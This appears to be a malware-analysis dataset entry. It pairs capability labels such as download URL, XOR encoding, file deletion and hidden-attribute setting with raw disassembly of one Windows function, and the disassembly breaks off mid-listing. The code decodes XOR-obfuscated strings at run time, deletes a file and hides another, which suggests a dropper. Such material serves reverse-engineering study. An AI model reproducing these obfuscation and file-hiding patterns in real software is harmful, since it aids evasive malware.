Function at 0x14002e610
Capabilities:
Accept command line arguments
Check if file exists
Delete file
Download url
Encode data using xor
Get common file path
Get disk information
Query environment variable
Receive data
Set file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x11e0]
mov eax, 0x12e0
call fcn.140009b80
sub rsp, rax
mov rax, qword [0x140051040]
xor rax, rsp
mov qword [rbp + 0x11d0], rax
mov r15, rdx
mov dword [rsp + 0x40], ecx
xor r14d, r14d
call qword [sym.imp.USER32.dll_SetProcessDPIAware]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [rsp + 0x40], 2
jle 0x140032c4e
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x1d8
mov eax, dword [rdx + rcx]
mov ebx, 0x59c
test al, 1
jne 0x14002e6ac
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rbx + rcx], 0x1436a34
lea rcx, [0x14003ca40]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 3], 0
je 0x14002e6d0
xor byte [rdx], 0x19
xor byte [rdx + 1], 0xb
xor byte [rdx + 2], 0x43
mov byte [rdx + 3], 0
mov rax, qword [r15 + 8]
sub rdx, rax
nop word [rax + rax]
movzx r8d, byte [rax]
movzx ecx, byte [rax + rdx]
sub r8d, ecx
jne 0x14002e6f4
inc rax
test ecx, ecx
jne 0x14002e6e0
test r8d, r8d
jne 0x140032c4e
mov rdx, qword [r15 + 0x10]
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x408], xmm1
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x14002e720
lea rcx, [rbp + 0x3f8]
call fcn.140004d10
nop
call fcn.140012590
mov rdi, rax
lea rbx, [rbp + 0x3f8]
cmp qword [rbp + 0x410], 0xf
cmova rbx, qword [rbp + 0x3f8]
mov dword [rax], r14d
mov r8d, 0xa
lea rdx, [rsp + 0x68]
mov rcx, rbx
call fcn.1400130b4
cmp rbx, qword [rsp + 0x68]
je 0x140033e24
cmp dword [rdi], 0x22
je 0x140033e31
mov rdx, qword [rbp + 0x410]
cmp rdx, 0xf
jbe 0x14002e7c1
inc rdx
mov rcx, qword [rbp + 0x3f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e7bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033e50
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x408], xmm0
mov byte [rbp + 0x3f8], 0
xor ecx, ecx
call fcn.140013168
mov rcx, rax
call fcn.14000feac
lea rdx, [rbp + 0xc90]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x6a8
mov eax, dword [rdx + rcx]
mov ebx, 0x298
test al, 1
jne 0x14002e84b
or eax, 1
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 0xb], 0x165
mov dword [rbx + rcx], 0x2886bd28
mov dword [rbx + rcx + 4], 0xa099df2
mov word [rbx + rcx + 8], 0xb05b
mov byte [rbx + rcx + 0xa], 0xec
lea rcx, [0x14003ca20]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 0xc], 0
je 0x14002e893
xor byte [rcx], 0xd
xor byte [rcx + 1], 0xf5
xor byte [rcx + 2], 0xc9
xor byte [rcx + 3], 0x65
xor byte [rcx + 4], 0xb7
xor byte [rcx + 5], 0xd9
xor byte [rcx + 6], 0x5b
xor byte [rcx + 7], 0x43
xor byte [rcx + 8], 0xd
xor byte [rcx + 9], 0xf5
xor byte [rcx + 0xa], 0xc9
xor byte [rcx + 0xb], 0x65
mov byte [rcx + 0xc], 0
mov r8d, 0x7fff
lea rdx, [rbp + 0xeb0]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x1bc
mov eax, dword [rdx + rcx]
mov ebx, 0x3f8
test al, 1
jne 0x14002e8f8
or eax, 1
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 0xb], 0x10d
mov dword [rbx + rcx], 0x408afd02
mov dword [rbx + rcx + 4], 0x9eef175a
mov word [rbx + rcx + 8], 0xf071
mov byte [rbx + rcx + 0xa], 0xe0
lea rcx, [0x14003ca00]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rax, qword [rax]
add rax, rbx
cmp byte [rax + 0xc], 0
je 0x14002e940
xor byte [rax], 0x27
xor byte [rax + 1], 0xb5
xor byte [rax + 2], 0xc5
xor byte [rax + 3], 0xd
xor byte [rax + 4], 0x1f
xor byte [rax + 5], 0x53
xor byte [rax + 6], 0xbd
xor byte [rax + 7], 0xd7
xor byte [rax + 8], 0x27
xor byte [rax + 9], 0xb5
xor byte [rax + 0xa], 0xc5
xor byte [rax + 0xb], 0xd
mov byte [rax + 0xc], 0
lea rcx, [rbp + 0xeb0]
sub rax, rcx
nop word [rax + rax]
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x14002e964
inc rcx
test edx, edx
jne 0x14002e950
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
test r8d, r8d
jne 0x14002ea93
mov edx, 0x6b4
mov eax, dword [rdx + rcx]
mov ebx, 0x498
test al, 1
jne 0x14002e9b4
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rbx + rcx + 8], 0x1d1e2ce
mov dword [rbx + rcx], 0xd4b2e6f1
mov dword [rbx + rcx + 4], 0x38d54f37
lea rcx, [0x14003c9d0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 0xb], 0
je 0x14002e9f8
xor byte [rdx], 0xbd
xor byte [rdx + 1], 0x89
xor byte [rdx + 2], 0xd1
xor byte [rdx + 3], 0xb5
xor byte [rdx + 4], 0x5b
xor byte [rdx + 5], 0x6f
xor byte [rdx + 6], 0x91
xor byte [rdx + 7], 0x51
xor byte [rdx + 8], 0xbd
xor byte [rdx + 9], 0x89
xor byte [rdx + 0xa], 0xd1
mov byte [rdx + 0xb], 0
lea rcx, [rbp + 0xfc0]
sub rcx, rdx
movzx eax, byte [rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x14002ea02
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x72c
mov eax, dword [rdx + rcx]
mov ebx, 0x67c
test al, 1
jne 0x14002ea47
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rbx + rcx], 0x1b9ab04
lea rcx, [0x14003c9b0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 3], 0
je 0x14002ea6b
xor byte [rdx], 0x47
xor byte [rdx + 1], 0x91
xor byte [rdx + 2], 0xb9
mov byte [rdx + 3], 0
lea rcx, [rbp + 0xeb0]
sub rcx, rdx
nop word [rax + rax]
movzx eax, byte [rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x14002ea80
jmp 0x14002ebac
mov edx, 0x208
mov eax, dword [rdx + rcx]
mov ebx, 0x3d0
test al, 1
jne 0x14002eac2
or eax, 1
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 1], 0x12f
mov byte [rbx + rcx], 0x83
lea rcx, [0x14003c990]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 2], 0
je 0x14002eae2
xor byte [rdx], 0xdf
xor byte [rdx + 1], 0x2f
mov byte [rdx + 2], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x4f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x508], xmm1
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14002eb00
lea rcx, [rbp + 0x4f8]
call fcn.140004d10
nop
lea r8, [rbp + 0x4f8]
lea rdx, [rbp + 0xeb0]
lea rcx, [rbp + 0xb50]
call fcn.140004ab0
cmp qword [rax + 0x18], 0xf
jbe 0x14002eb3b
mov rax, qword [rax]
mov dword [rsp + 0x38], r14d
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, 0x104
lea rdx, [rbp + 0xfc0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea rcx, [rbp + 0xb50]
call fcn.1400025e0
nop
mov r8, qword [rbp + 0x510]
cmp r8, 0xf
jbe 0x14002eb95
mov rdx, qword [rbp + 0x4f8]
lea rcx, [rbp + 0x4f8]
call fcn.140004590
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x508], xmm0
mov byte [rbp + 0x4f8], 0
lea rax, [rbp + 0xda0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x490
mov eax, dword [rdx + rcx]
mov ebx, 0x828
test al, 1
jne 0x14002ec11
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rbx + rcx + 8], 0x1a56310
mov dword [rbx + rcx], 0xd3c96811
mov dword [rbx + rcx + 4], 0x53c75914
lea rcx, [0x14003c960]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
add rbx, qword [rax]
cmp byte [rbx + 0xb], 0
je 0x14002ec52
xor byte [rbx], 0x79
xor byte [rbx + 1], 0xd
xor byte [rbx + 2], 0xa5
xor byte [rbx + 3], 0xa3
xor byte [rbx + 4], 0x71
xor byte [rbx + 5], 0x2b
xor byte [rbx + 6], 0xe9
xor byte [rbx + 7], 0x31
xor byte [rbx + 8], 0x79
xor byte [rbx + 9], 0xd
xor byte [rbx + 0xa], 0xa5
mov byte [rbx + 0xb], 0
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x14002f114
xorps xmm0, xmm0
movups xmmword [rbp + 0x478], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x488], xmm1
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14002ec80
mov rdx, rbx
lea rcx, [rbp + 0x478]
call fcn.140004d10
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x658
mov eax, dword [rdx + rcx]
mov edi, 0x5b8
test al, 1
jne 0x14002ecd5
or eax, 1
mov dword [rdx + rcx], eax
mov word [rdi + rcx + 1], 0x147
mov byte [rdi + rcx], 0x21
lea rcx, [0x14003c940]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rdi
cmp byte [rdx + 2], 0
je 0x14002ecf5
xor byte [rdx], 0x7d
xor byte [rdx + 1], 0x47
mov byte [rdx + 2], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x458], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x468], xmm1
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14002ed10
lea rcx, [rbp + 0x458]
call fcn.140004d10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x438], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x448], xmm1
lea rax, [rbp + 0xda0]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14002ed46
lea rdx, [rbp + 0xda0]
lea rcx, [rbp + 0x438]
call fcn.140004d10
nop
lea r9, [rbp + 0x458]
lea r8, [rbp + 0x438]
lea rcx, [rbp + 0x950]
call fcn.140006100
nop
lea r9, [rbp + 0x478]
lea r8, [rbp + 0x950]
lea rcx, [rbp + 0x8a0]
call fcn.140006100
lea rcx, [rbp + 0x8a0]
cmp qword [rbp + 0x8b8], 0xf
cmova rcx, qword [rbp + 0x8a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp + 0x8a0]
call fcn.1400025e0
nop
lea rcx, [rbp + 0x950]
call fcn.1400025e0
nop
mov r8, qword [rbp + 0x450]
cmp r8, 0xf
jbe 0x14002edf0
mov rdx, qword [rbp + 0x438]
lea rcx, [rbp + 0x438]
call fcn.140004590
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x448], xmm0
mov byte [rbp + 0x438], 0
mov r8, qword [rbp + 0x470]
cmp r8, 0xf
jbe 0x14002ee27
mov rdx, qword [rbp + 0x458]
lea rcx, [rbp + 0x458]
call fcn.140004590
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x468], xmm0
mov byte [rbp + 0x458], 0
mov r8, qword [rbp + 0x490]
cmp r8, 0xf
jbe 0x14002ee5e
mov rdx, qword [rbp + 0x478]
lea rcx, [rbp + 0x478]
call fcn.140004590
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x488], xmm0
mov byte [rbp + 0x478], 0
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
lea rax, [rbp + 0xda0]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002eea0
lea rdx, [rbp + 0xda0]
lea rcx, [rbp - 0x70]
call fcn.140004d10
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
mov r8, rsi
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x14002eed0
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.140004d10
nop
mov r8d, 0x8000000
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x70]
call fcn.1400345b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x598], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5a8], xmm1
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14002ef14
mov rdx, rbx
lea rcx, [rbp + 0x598]
call fcn.140004d10
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x488
mov eax, dword [rdx + rcx]
mov ebx, 0x64c
test al, 1
jne 0x14002ef69
or eax, 1
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 1], 0x131
mov byte [rbx + rcx], 0x21
lea rcx, [0x14003c920]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 2], 0
je 0x14002ef89
xor byte [rdx], 0x7d
xor byte [rdx + 1], 0x31
mov byte [rdx + 2], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x5b8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5c8], xmm1
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x14002efa1
lea rcx, [rbp + 0x5b8]
call fcn.140004d10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x498], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4a8], xmm1
lea rax, [rbp + 0xda0]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002efe0
lea rdx, [rbp + 0xda0]
lea rcx, [rbp + 0x498]
call fcn.140004d10
nop
lea r9, [rbp + 0x5b8]
lea r8, [rbp + 0x498]
lea rcx, [rbp + 0x8d0]
call fcn.140006100
nop
lea r9, [rbp + 0x598]
lea r8, [rbp + 0x8d0]
lea rcx, [rbp + 0x880]
call fcn.140006100
lea rcx, [rbp + 0x880]
cmp qword [rbp + 0x898], 0xf
cmova rcx, qword [rbp + 0x880]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0x880]
call fcn.1400025e0
nop
lea rcx, [rbp + 0x8d0]
call fcn.1400025e0
nop
mov r8, qword [rbp + 0x4b0]
cmp r8, 0xf
jbe 0x14002f08f
mov rdx, qword [rbp + 0x498]
lea rcx, [rbp + 0x498]
call fcn.140004590
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x4a8], xmm0
mov byte [rbp + 0x498], 0
mov r8, qword [rbp + 0x5d0]
cmp r8, 0xf
jbe 0x14002f0c6
mov rdx, qword [rbp + 0x5b8]
lea rcx, [rbp + 0x5b8]
call fcn.140004590
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x5c8], xmm0
mov byte [rbp + 0x5b8], 0
mov r8, qword [rbp + 0x5b0]
cmp r8, 0xf
jbe 0x14002f0fd
mov rdx, qword [rbp + 0x598]
lea rcx, [rbp + 0x598]
call fcn.140004590
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x5a8], xmm0
mov byte [rbp + 0x598], 0
movdqa xmm0, xmmword [0x1400484b0]
mov word [rbp + 0x3f0], 0x7f9f
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x34c
mov eax, dword [rdx + rcx]
mov ebx, 0x188
test al, 1
jne 0x14002f196
or eax, 1
mov dword [rdx + rcx], eax
add rcx, rbx
mov byte [rcx + 0x12], 1
lea rax, [rcx + 0x11]
lea rdx, [rbp + 0x3f1]
cmp rcx, rdx
ja 0x14002f17b
lea rdx, [rbp + 0x3e0]
cmp rax, rdx
jb 0x14002f17b
movups xmmword [rcx], xmm0
movzx eax, word [rbp + 0x3f0]
mov word [rcx + 0x10], ax
jmp 0x14002f189
movups xmmword [rcx], xmm0
movzx eax, word [rbp + 0x3f0]
mov word [rcx + 0x10], ax
lea rcx, [0x14003c8d0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 0x12], 0
je 0x14002f1f6
xor byte [rdx], 0xf3
xor byte [rdx + 1], 0x7f
xor byte [rdx + 2], 0x1b
xor byte [rdx + 3], 0x59
xor byte [rdx + 4], 0x71
xor byte [rdx + 5], 0x93
xor byte [rdx + 6], 3
xor byte [rdx + 7], 0x65
xor byte [rdx + 8], 0xf3
xor byte [rdx + 9], 0x7f
xor byte [rdx + 0xa], 0x1b
xor byte [rdx + 0xb], 0x59
xor byte [rdx + 0xc], 0x71
xor byte [rdx + 0xd], 0x93
xor byte [rdx + 0xe], 3
xor byte [rdx + 0xf], 0x65
xor byte [rdx + 0x10], 0xf3
xor byte [rdx + 0x11], 0x7f
mov byte [rdx + 0x12], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x638], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x648], xmm1
mov r8, rsi
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x14002f210
lea rcx, [rbp + 0x638]
call fcn.140004d10
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x3a8
mov eax, dword [rdx + rcx]
mov ebx, 0x850
test al, 1
jne 0x14002f26e
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rbx + rcx + 8], 0x11b5f82
mov dword [rbx + rcx], 0x79771a97
mov dword [rbx + rcx + 4], 0x4a23f55e
lea rcx, [0x14003c8f0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 0xb], 0
je 0x14002f2b2
xor byte [rdx], 0xf3
xor byte [rdx + 1], 0x7f
xor byte [rdx + 2], 0x1b
xor byte [rdx + 3], 0x59
xor byte [rdx + 4], 0x71
xor byte [rdx + 5], 0x93
xor byte [rdx + 6], 3
xor byte [rdx + 7], 0x65
xor byte [rdx + 8], 0xf3
xor byte [rdx + 9], 0x7f
xor byte [rdx + 0xa], 0x1b
mov byte [rdx + 0xb], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x618], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x628], xmm1
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14002f2d0
lea rcx, [rbp + 0x618]
call fcn.140004d10
nop
lea rax, [rbp + 0xc90]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14002f2f1
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0x618]
call fcn.140003a30
xorps xmm0, xmm0
movups xmmword [rbp + 0x538], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x548], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x538], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x548], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x638]
lea r8, [rbp + 0x538]
lea rcx, [rbp + 0x5f8]
call fcn.140006100
lea rcx, [rbp + 0x5f8]
cmp qword [rbp + 0x610], 0xf
cmova rcx, qword [rbp + 0x5f8]
call fcn.140012340
mov rdx, qword [rbp + 0x610]
cmp rdx, 0xf
jbe 0x14002f3be
inc rdx
mov rcx, qword [rbp + 0x5f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f3b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033e3e
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x608], xmm0
mov byte [rbp + 0x5f8], 0
mov rdx, qword [rbp + 0x550]
cmp rdx, 0xf
jbe 0x14002f416
inc rdx
mov rcx, qword [rbp + 0x538]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f411
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033e44
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x548], xmm0
mov byte [rbp + 0x538], 0
mov rdx, qword [rbp + 0x630]
cmp rdx, 0xf
jbe 0x14002f46e
inc rdx
mov rcx, qword [rbp + 0x618]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f469
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033e4a
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x628], xmm0
mov byte [rbp + 0x618], 0
mov rdx, qword [rbp + 0x650]
cmp rdx, 0xf
jbe 0x14002f4c6
inc rdx
mov rcx, qword [rbp + 0x638]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f4c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033e50
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x648], xmm0
mov byte [rbp + 0x638], 0
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x354
mov eax, dword [rdx + rcx]
mov ebx, 0x174
test al, 1
jne 0x14002f51b
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rbx + rcx + 2], 0x197db68
mov word [rbx + rcx], 0xfb97
lea rcx, [0x14003c890]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 5], 0
je 0x14002f547
xor byte [rdx], 0xb9
xor byte [rdx + 1], 0x99
xor byte [rdx + 2], 1
xor byte [rdx + 3], 0xb5
xor byte [rdx + 4], 0x97
mov byte [rdx + 5], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x678], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x688], xmm1
mov r8, rsi
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x14002f560
lea rcx, [rbp + 0x678]
call fcn.140004d10
nop
call fcn.14000fe80
mov edx, eax
lea rcx, [rbp + 0xa90]
call fcn.140001f00
mov rdi, rax
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov eax, 0x814
mov ecx, dword [rax + rdx]
mov ebx, 0x3c8
test cl, 1
jne 0x14002f5d0
or ecx, 1
mov dword [rax + rdx], ecx
mov word [rbx + rdx + 3], 0x1b5
mov word [rbx + rdx], 0xfce5
mov byte [rbx + rdx + 2], 0x6d
lea rcx, [0x14003c8b0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 4], 0
je 0x14002f5f8
xor byte [rdx], 0xb9
xor byte [rdx + 1], 0x99
xor byte [rdx + 2], 1
xor byte [rdx + 3], 0xb5
mov byte [rdx + 4], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x658], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x668], xmm1
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x14002f610
lea rcx, [rbp + 0x658]
call fcn.140004d10
nop
lea r8, [rbp + 0x658]
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0xc50]
call fcn.140004ab0
nop
mov r9, rdi
mov r8, rax
lea rcx, [rbp + 0x8f0]
call fcn.140006100
nop
lea r9, [rbp + 0x678]
lea r8, [rbp + 0x8f0]
lea rcx, [rbp + 0x2a0]
call fcn.140006100
nop
lea rcx, [rbp + 0x8f0]
call fcn.1400025e0
nop
lea rcx, [rbp + 0xc50]
call fcn.1400025e0
nop
mov rdx, qword [rbp + 0x670]
cmp rdx, 0xf
jbe 0x14002f6cb
inc rdx
mov rcx, qword [rbp + 0x658]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f6c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033e56
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x668], xmm0
mov byte [rbp + 0x658], 0
lea rcx, [rbp + 0xa90]
call fcn.1400025e0
nop
mov rdx, qword [rbp + 0x690]
cmp rdx, 0xf
jbe 0x14002f730
inc rdx
mov rcx, qword [rbp + 0x678]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f72b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140033e5c
call fcn.140009400
movdqa xmm0, xmmword [0x140048480]
movdqu xmmword [rbp + 0x688], xmm0
mov byte [rbp + 0x678], 0
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x6f0
mov eax, dword [rdx + rcx]
mov ebx, 0x5a0
test al, 1
jne 0x14002f785
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rbx + rcx + 2], 0x145759e
mov word [rbx + rcx], 0xd155
lea rcx, [0x14003c850]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 5], 0
je 0x14002f7b1
xor byte [rdx], 0x7b
xor byte [rdx + 1], 0xb3
xor byte [rdx + 2], 0xf7
xor byte [rdx + 3], 0x1b
xor byte [rdx + 4], 0x45
mov byte [rdx + 5], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x6b8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6c8], xmm1
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14002f7d0
lea rcx, [rbp + 0x6b8]
call fcn.140004d10
nop
call fcn.14000fe80
mov edx, eax
lea rcx, [rbp + 0x860]
call fcn.140001f00
mov rdi, rax
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov eax, 0x4d0
mov ecx, dword [rax + rdx]
mov ebx, 0x3d4
test cl, 1
jne 0x14002f840
or ecx, 1
mov dword [rax + rdx], ecx
mov word [rbx + rdx + 3], 0x11b
mov word [rbx + rdx], 0xc327
mov byte [rbx + rdx + 2], 0x9b
lea rcx, [0x14003c870]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 4], 0
je 0x14002f868
xor byte [rdx], 0x7b
xor byte [rdx + 1], 0xb3
xor byte [rdx + 2], 0xf7
xor byte [rdx + 3], 0x1b
mov byte [rdx + 4], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x698], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6a8], xmm1
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x14002f880
lea rcx, [rbp + 0x698]
call fcn.140004d10
nop
lea r8, [rbp + 0x698]
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0xaf0]
call fcn.140004ab0
nop
mov r9, rdi
mov r8, rax
lea rcx, [rbp + 0x910]
call fcn.140006100
nop
lea r9, [rbp + 0x6b8]
lea r8, [rbp + 0x910]
lea rcx, [rbp + 0x380]
call fcn.140006100
nop
lea rcx, [rbp + 0x910]
call fcn.1400025e0
nop
lea rcx, [rbp + 0xaf0]
call fcn.1400025e0
nop
mov rdx, qword [rbp + 0x6b0]
cmp rdx, 0xf
jbe 0x14002f93b
inc rdx
mov rcx, qword [rbp + 0x698]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f936
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
